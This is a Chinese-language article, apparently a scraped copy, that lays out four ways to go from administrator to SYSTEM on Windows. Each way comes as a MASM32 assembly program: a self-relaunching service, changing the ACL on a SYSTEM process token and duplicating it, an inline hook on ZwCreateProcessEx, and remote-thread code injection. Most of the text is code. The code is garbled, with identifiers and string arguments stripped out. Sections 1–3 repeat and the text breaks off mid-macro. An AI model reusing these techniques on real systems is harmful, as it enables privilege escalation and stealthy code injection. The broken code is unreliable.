从管理员身份获得SYSTEM 权限的四种方法

文章描述:-2022年3月28日发(作者:慕容彦逢)1. 以服务方式运行 因为以服务方式运行程序时,相当于运行程序的是系统进程,所以, 被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。 ;@echo off ;goto make ;======================================================================

-

从管理员身份获得SYSTEM 权限的四种方法2022年3月28日发(作者:慕容彦逢)


1. 以服务方式运行

因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys1
; 采用以服务方式运行的方法
;=====================================================================
===============
.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_ReLaunch proto

CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

.code
start proc
LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

invoke CreateMutex, ULL, TRUE, CTXT(
invoke GetLastError


.if eax==ERROR_ALREADY_EXISTS
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
mov , sizeof stStartupInfo
invoke CreateProcess, 0, CTXT(
addr stStartupInfo, addr procinfo
invoke CloseHandle, ss
invoke CloseHandle, d
.else
invoke _ReLaunch
.endif

invoke ExitProcess, ULL
start endp

_ReLaunch proc
LOCAL hSCManager
LOCAL hService
LOCAL szame[MAX_PATH] : byte

invoke OpenSCManager, ULL, ULL, SC_MAAGER_CREATE_SERVICE
.if eax!=0
mov hSCManager, eax

invoke OpenService, hSCManager, CTXT(
.if eax!=0
push eax
invoke DeleteService, eax
call CloseServiceHandle
.endif

invoke GetModuleFileame, ULL, addr szame, MAX_PATH
invoke CreateService, hSCManager, CTXT(CTXT(Temp
Service
SERVICE_START + SERVICE_QUERY_STATUS + DELETE,
SERVICE_WI32_OW_PROCESS +
SERVICE_ITERACTIVE_PROCESS, SERVICE_DEMAD_START,
SERVICE_ERROR_IGORE, addr szame, ULL, ULL, ULL, ULL,
ULL
.if eax!=0
mov hService, eax
invoke StartService, hService, 0, ULL
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif


invoke CloseServiceHandle, hSCManager
.endif
ret
_ReLaunch endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys1

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥
量,
接着以服务的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权
限。
B 再通过 CreateProcess 函数运行 程序,
因为 B 具有 SYSTEM 权限,所以 从中继承了 SYSTEM 权限。
运行完了 后 B 结束运行,
然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返
回,
所以不能够直接通过服务的方式运行 。

2. 添加 ACL 的方法

主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys2
; 采用添加 ACL 的方法
;=====================================================================
===============


.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto WORD,WORD
_GetPidFromProcame proto
_ModifySecurity proto
WORD
WORD WORD,

CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

ACL STRUCT
AclRevision BYTE ?
Sbz1 BYTE ?
AclSize WORD ?
AceCount WORD ?
Sbz2 WORD ?
ACL EDS
PACL typedef PTR ACL

SecurityImpersonation equ 2

.code
start proc
LOCAL hProc
LOCAL hToken, hewToken


LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

sub eax, eax
mov hProc, eax
mov hToken, eax
mov hewToken, eax
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invoke RtlZeroMemory, addr procinfo, sizeof procinfo

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
invoke OpenProcess, PROCESS_QUERY_IFORMATIO, 0, eax
test eax, eax
jz _exit
mov hProc, eax
invoke OpenProcessToken, hProc, READ_COTROL+WRITE_DAC, addr hToken
test eax, eax
jz _exit

invoke _ModifySecurity, hToken, TOKE_ALL_ACCESS
test eax, eax
jz _exit

invoke CloseHandle, hToken
mov hToken, 0

invoke OpenProcessToken, hProc, TOKE_ALL_ACCESS, addr hToken
test eax, eax
jz _exit

invoke DuplicateTokenEx, hToken, TOKE_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr hewToken
test eax, eax
jz _exit

invoke ImpersonateLoggedOnUser, hewToken
test eax, eax
jz _exit

mov , sizeof stStartupInfo
invoke CreateProcessAsUser, hewToken, 0, CTXT(
addr stStartupInfo, addr procinfo


test eax, eax
jz _exit
invoke CloseHandle, ss
invoke CloseHandle, d

_exit:
.if hProc
invoke CloseHandle, hProc
.endif
.if hToken
invoke CloseHandle, hToken
.endif
.if hewToken
invoke CloseHandle, hewToken
.endif
invoke ExitProcess, ULL
start endp

_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD
LOCAL pSD, pAbsSD
LOCAL dwSDLength
LOCAL bDaclPresent, bDaclDefaulted
LOCAL pAcl : PACL
LOCAL pewAcl : PACL
LOCAL szame[1024] : BYTE
LOCAL ea : EXPLICIT_ACCESS
LOCAL pSacl, pOwner, pPrimaryGroup
LOCAL dwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup
LOCAL bSuccess

sub eax, eax
mov pSD, eax
mov pAbsSD, eax
mov dwSDLength, eax
mov bDaclPresent, eax
mov bDaclDefaulted, eax
mov pAcl, eax
mov pewAcl, eax
mov pSacl, eax
mov pOwner, eax
mov pPrimaryGroup, eax
mov dwAclSize, eax
mov dwSaclSize, eax
mov dwOwnerSize, eax


mov dwPrimaryGroup, eax
mov bSuccess, eax

invoke GetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pSD, 0,
addr dwSDLength
invoke LocalAlloc, LPTR, dwSDLength
test eax, eax
jz _exit
mov pSD, eax
invoke GetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pSD,
dwSDLength, addr dwSDLength

invoke GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr
bDaclDefaulted

mov eax, sizeof szame
push eax
invoke GetUserame, addr szame, esp
pop eax

invoke BuildExplicitAccessWithame, addr ea, addr szame, dwAccess,
GRAT_ACCESS, FALSE
invoke SetEntriesInAcl, 1, addr ea, pAcl, addr pewAcl
cmp eax, ERROR_SUCCESS
jne _exit

invoke LocalFree, pAcl
mov pAcl, 0
invoke MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl,
addr dwSaclSize,
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup

invoke LocalAlloc, LPTR, dwSDLength
test eax, eax
jz _exit
mov pAbsSD, eax

invoke LocalAlloc, LPTR, dwAclSize
test eax, eax
jz _exit
mov pAcl, eax

invoke LocalAlloc, LPTR, dwSaclSize
test eax, eax


jz _exit
mov pSacl, eax

invoke LocalAlloc, LPTR, dwOwnerSize
test eax, eax
jz _exit
mov pOwner, eax

invoke LocalAlloc, LPTR, dwPrimaryGroup
test eax, eax
jz _exit
mov pPrimaryGroup, eax

invoke MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl,
addr dwSaclSize,
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
invoke SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pewAcl, bDaclDefaulted
invoke SetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pAbsSD

mov bSuccess, 1

_exit:
.if pSD
invoke LocalFree, pSD
.endif
.if pAcl
invoke LocalFree, pAcl
.endif
.if pewAcl
invoke LocalFree, pewAcl
.endif
.if pAbsSD
invoke LocalFree, pAbsSD
.endif
.if pSacl
invoke LocalFree, pSacl
.endif
.if pOwner
invoke LocalFree, pOwner
.endif
.if pPrimaryGroup
invoke LocalFree, pPrimaryGroup
.endif
mov eax, bSuccess


ret
_ModifySecurity endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess
mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif
invoke Process32ext, hSnapshot, addr stProcess


.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys2

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys2 取得 进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。
有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用
CreateProcessAsUser
函数运行 程序了。有关安全性编程不清楚的地方可以参考[3]。

3. HOOK ZwCreateProcessEx 函数

有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys3
; 采用 HOOK ZwCreateProcessEx 函数的方法
;=====================================================================
===============

.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include


include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcame proto :DWORD
_HackedZwCreateProcessEx proto

CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

ASMJMP struct
mov_eax BYTE ?
address DWORD ?
jmp_eax WORD ?
ASMJMP ends

.data?
g_hProc dd ?
g_dwFunc dd ?

.code
start proc
LOCAL osvi : OSVERSIOIFO
LOCAL lpAsmJmp
LOCAL mbi : MEMORY_BASIC_IFORMATIO
LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

sub eax, eax
mov lpAsmJmp, eax
invoke RtlZeroMemory, addr osvi, sizeof osvi
invoke RtlZeroMemory, addr mbi, sizeof mbi
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invoke RtlZeroMemory, addr procinfo, sizeof procinfo


mov rsionInfoSize, sizeof osvi
invoke GetVersionEx, addr osvi
cmp rVersion, 5
jnz _exit
.if rVersion==1
mov g_dwFunc, 30h
.elseif rVersion==2
mov g_dwFunc, 32h
.endif

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
test eax, eax
jz _exit

invoke OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax
test eax, eax
jz _exit
mov g_hProc, eax

invoke GetModuleHandle, CTXT(
mov edx, eax
invoke GetProcAddress, edx, CTXT(
mov lpAsmJmp, eax

invoke VirtualQuery, lpAsmJmp, addr mbi, sizeof mbi
push eax
invoke VirtualProtect, tionBase,
PAGE_EXECUTE_READWRITE, esp
pop eax

mov edi, lpAsmJmp
assume edi : ptr ASMJMP
mov [edi].mov_eax, 0B8h
mov [edi].address, offset _HackedZwCreateProcessEx
mov [edi].jmp_eax, 0E0FFh

mov , sizeof stStartupInfo
invoke CreateProcess, 0, CTXT(
0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
test eax, eax
jz _exit
invoke CloseHandle, ss
Size,


invoke CloseHandle, d

_exit:
invoke ExitProcess, ULL
start endp

_HackedZwCreateProcessEx proc
mov eax, g_hProc
mov dword ptr [esp+16], eax
mov eax, g_dwFunc
lea edx, dword ptr [esp+4]
int 2Eh
retn 24h
_HackedZwCreateProcessEx endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess


mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif
invoke Process32ext, hSnapshot, addr stProcess
.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys3

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法

通过注入远程线程的方法来运行指定的 程序,
也是相当于运行 程序的是系统进程,
那么 也就自然而然的继承了系统进程的 SYSTEM 权限。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys4
; 采用远程线程的方法
;=====================================================================


===============
.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcame proto :DWORD

;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书
reverseArgs macro arglist:VARARG
local txt,count

txt TEXTEQU <>
count = 0
for i,
count = count + 1
txt TEXTEQU @CatStr(i,,<%txt>)
endm
if count GT 0
txt SUBSTR txt,1,@SizeStr(%txt)-1
endif
exitm txt
endm
_invoke macro _Proc,args:VARARG
local count

count = 0
% for i,< reverseArgs( args ) >
count = count + 1
push i
endm
call dword ptr _Proc

endm


CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

.data?
g_hProcess dd ?
g_lpRemoteCode dd ?

.code
Remote_code_start equ this byte

g_lpGetModuleHandleA dd ?
g_lpGetProcAddress dd ?

g_szKernel32 db
g_szCreateProcessA db

g_lpCreateProcessA dd ?

g_szRegedit db
g_szDesktop db

g_stStartupInfo STARTUPIFO
g_procinfo PROCESS_IFORMATIO

_RemoteThread proc
; int 3
pushad
call @F
@@:
pop ebx
sub ebx, offset @B

lea eax, [ebx+g_szKernel32]
_invoke [ebx+g_lpGetModuleHandleA], eax
mov esi, eax
lea eax, [ebx+g_szCreateProcessA]
_invoke [ebx+g_lpGetProcAddress], esi, eax
mov [ebx+g_lpCreateProcessA], eax


lea eax, [ebx+g_szDesktop]
lea ecx, [ebx+g_stStartupInfo]
mov dword ptr [ecx], sizeof g_stStartupInfo
mov dword ptr [ecx+8], eax
lea eax, [ebx+g_szRegedit]
lea edx, [ebx+g_procinfo]

_invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx

popad
ret
_RemoteThread endp

Remote_code_end equ this byte
Remote_code_length equ offset Remote_code_end - offset Remote_code_start

start proc
invoke GetModuleHandle, CTXT(
mov ebx, eax
invoke GetProcAddress, ebx, CTXT(
mov g_lpGetModuleHandleA, eax
invoke GetProcAddress, ebx, CTXT(
mov g_lpGetProcAddress, eax

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
invoke OpenProcess,
PROCESS_CREATE_THREAD+PROCESS_VM_OPERATIO+PROCESS_VM_WRITE,
FALSE, eax
.if eax
mov g_hProcess, eax
invoke VirtualAllocEx, g_hProcess, ULL, Remote_code_length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE
.if eax
mov g_lpRemoteCode, eax
invoke WriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset Remote_code_start, Remote_code_length, ULL
mov eax, g_lpRemoteCode
add eax, offset _RemoteThread - offset Remote_code_start
invoke CreateRemoteThread, g_hProcess, ULL, 0, eax, 0, 0, ULL
invoke CloseHandle, eax
.endif
invoke CloseHandle, g_hProcess


.endif
invoke ExitProcess, ULL
start endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess
mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif


invoke Process32ext, hSnapshot, addr stProcess
.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys4

ml nologo c coff %appname%.bat
link nologo subsystem:windows section:.text,rwe %appname%.obj
del %appname%.obj
echo.
pause
这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,
lpStartupInfo
参数指向的 STARTUPIFO 结构成员 lpDesktop 需要明确的指定 WinSta0Default 为运行
桌面。
否则,程序 运行后不知道跑到哪里去了。


1. 以服务方式运行

因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys1
; 采用以服务方式运行的方法
;=====================================================================
===============
.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_ReLaunch proto

CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

.code
start proc
LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

invoke CreateMutex, ULL, TRUE, CTXT(
invoke GetLastError


.if eax==ERROR_ALREADY_EXISTS
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
mov , sizeof stStartupInfo
invoke CreateProcess, 0, CTXT(
addr stStartupInfo, addr procinfo
invoke CloseHandle, ss
invoke CloseHandle, d
.else
invoke _ReLaunch
.endif

invoke ExitProcess, ULL
start endp

_ReLaunch proc
LOCAL hSCManager
LOCAL hService
LOCAL szame[MAX_PATH] : byte

invoke OpenSCManager, ULL, ULL, SC_MAAGER_CREATE_SERVICE
.if eax!=0
mov hSCManager, eax

invoke OpenService, hSCManager, CTXT(
.if eax!=0
push eax
invoke DeleteService, eax
call CloseServiceHandle
.endif

invoke GetModuleFileame, ULL, addr szame, MAX_PATH
invoke CreateService, hSCManager, CTXT(CTXT(Temp
Service
SERVICE_START + SERVICE_QUERY_STATUS + DELETE,
SERVICE_WI32_OW_PROCESS +
SERVICE_ITERACTIVE_PROCESS, SERVICE_DEMAD_START,
SERVICE_ERROR_IGORE, addr szame, ULL, ULL, ULL, ULL,
ULL
.if eax!=0
mov hService, eax
invoke StartService, hService, 0, ULL
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif


invoke CloseServiceHandle, hSCManager
.endif
ret
_ReLaunch endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys1

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥
量,
接着以服务的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权
限。
B 再通过 CreateProcess 函数运行 程序,
因为 B 具有 SYSTEM 权限,所以 从中继承了 SYSTEM 权限。
运行完了 后 B 结束运行,
然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返
回,
所以不能够直接通过服务的方式运行 。

2. 添加 ACL 的方法

主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys2
; 采用添加 ACL 的方法
;=====================================================================
===============


.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto WORD,WORD
_GetPidFromProcame proto
_ModifySecurity proto
WORD
WORD WORD,

CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

ACL STRUCT
AclRevision BYTE ?
Sbz1 BYTE ?
AclSize WORD ?
AceCount WORD ?
Sbz2 WORD ?
ACL EDS
PACL typedef PTR ACL

SecurityImpersonation equ 2

.code
start proc
LOCAL hProc
LOCAL hToken, hewToken


LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

sub eax, eax
mov hProc, eax
mov hToken, eax
mov hewToken, eax
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invoke RtlZeroMemory, addr procinfo, sizeof procinfo

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
invoke OpenProcess, PROCESS_QUERY_IFORMATIO, 0, eax
test eax, eax
jz _exit
mov hProc, eax
invoke OpenProcessToken, hProc, READ_COTROL+WRITE_DAC, addr hToken
test eax, eax
jz _exit

invoke _ModifySecurity, hToken, TOKE_ALL_ACCESS
test eax, eax
jz _exit

invoke CloseHandle, hToken
mov hToken, 0

invoke OpenProcessToken, hProc, TOKE_ALL_ACCESS, addr hToken
test eax, eax
jz _exit

invoke DuplicateTokenEx, hToken, TOKE_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr hewToken
test eax, eax
jz _exit

invoke ImpersonateLoggedOnUser, hewToken
test eax, eax
jz _exit

mov , sizeof stStartupInfo
invoke CreateProcessAsUser, hewToken, 0, CTXT(
addr stStartupInfo, addr procinfo


test eax, eax
jz _exit
invoke CloseHandle, ss
invoke CloseHandle, d

_exit:
.if hProc
invoke CloseHandle, hProc
.endif
.if hToken
invoke CloseHandle, hToken
.endif
.if hewToken
invoke CloseHandle, hewToken
.endif
invoke ExitProcess, ULL
start endp

_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD
LOCAL pSD, pAbsSD
LOCAL dwSDLength
LOCAL bDaclPresent, bDaclDefaulted
LOCAL pAcl : PACL
LOCAL pewAcl : PACL
LOCAL szame[1024] : BYTE
LOCAL ea : EXPLICIT_ACCESS
LOCAL pSacl, pOwner, pPrimaryGroup
LOCAL dwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup
LOCAL bSuccess

sub eax, eax
mov pSD, eax
mov pAbsSD, eax
mov dwSDLength, eax
mov bDaclPresent, eax
mov bDaclDefaulted, eax
mov pAcl, eax
mov pewAcl, eax
mov pSacl, eax
mov pOwner, eax
mov pPrimaryGroup, eax
mov dwAclSize, eax
mov dwSaclSize, eax
mov dwOwnerSize, eax


mov dwPrimaryGroup, eax
mov bSuccess, eax

invoke GetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pSD, 0,
addr dwSDLength
invoke LocalAlloc, LPTR, dwSDLength
test eax, eax
jz _exit
mov pSD, eax
invoke GetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pSD,
dwSDLength, addr dwSDLength

invoke GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr
bDaclDefaulted

mov eax, sizeof szame
push eax
invoke GetUserame, addr szame, esp
pop eax

invoke BuildExplicitAccessWithame, addr ea, addr szame, dwAccess,
GRAT_ACCESS, FALSE
invoke SetEntriesInAcl, 1, addr ea, pAcl, addr pewAcl
cmp eax, ERROR_SUCCESS
jne _exit

invoke LocalFree, pAcl
mov pAcl, 0
invoke MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl,
addr dwSaclSize,
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup

invoke LocalAlloc, LPTR, dwSDLength
test eax, eax
jz _exit
mov pAbsSD, eax

invoke LocalAlloc, LPTR, dwAclSize
test eax, eax
jz _exit
mov pAcl, eax

invoke LocalAlloc, LPTR, dwSaclSize
test eax, eax


jz _exit
mov pSacl, eax

invoke LocalAlloc, LPTR, dwOwnerSize
test eax, eax
jz _exit
mov pOwner, eax

invoke LocalAlloc, LPTR, dwPrimaryGroup
test eax, eax
jz _exit
mov pPrimaryGroup, eax

invoke MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl,
addr dwSaclSize,
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
invoke SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pewAcl, bDaclDefaulted
invoke SetKernelObjectSecurity, hToken, DACL_SECURITY_IFORMATIO, pAbsSD

mov bSuccess, 1

_exit:
.if pSD
invoke LocalFree, pSD
.endif
.if pAcl
invoke LocalFree, pAcl
.endif
.if pewAcl
invoke LocalFree, pewAcl
.endif
.if pAbsSD
invoke LocalFree, pAbsSD
.endif
.if pSacl
invoke LocalFree, pSacl
.endif
.if pOwner
invoke LocalFree, pOwner
.endif
.if pPrimaryGroup
invoke LocalFree, pPrimaryGroup
.endif
mov eax, bSuccess


ret
_ModifySecurity endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess
mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif
invoke Process32ext, hSnapshot, addr stProcess


.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys2

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys2 取得 进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。
有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用
CreateProcessAsUser
函数运行 程序了。有关安全性编程不清楚的地方可以参考[3]。

3. HOOK ZwCreateProcessEx 函数

有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys3
; 采用 HOOK ZwCreateProcessEx 函数的方法
;=====================================================================
===============

.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include


include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcame proto :DWORD
_HackedZwCreateProcessEx proto

CTXT MACRO text
local lbl
.ct
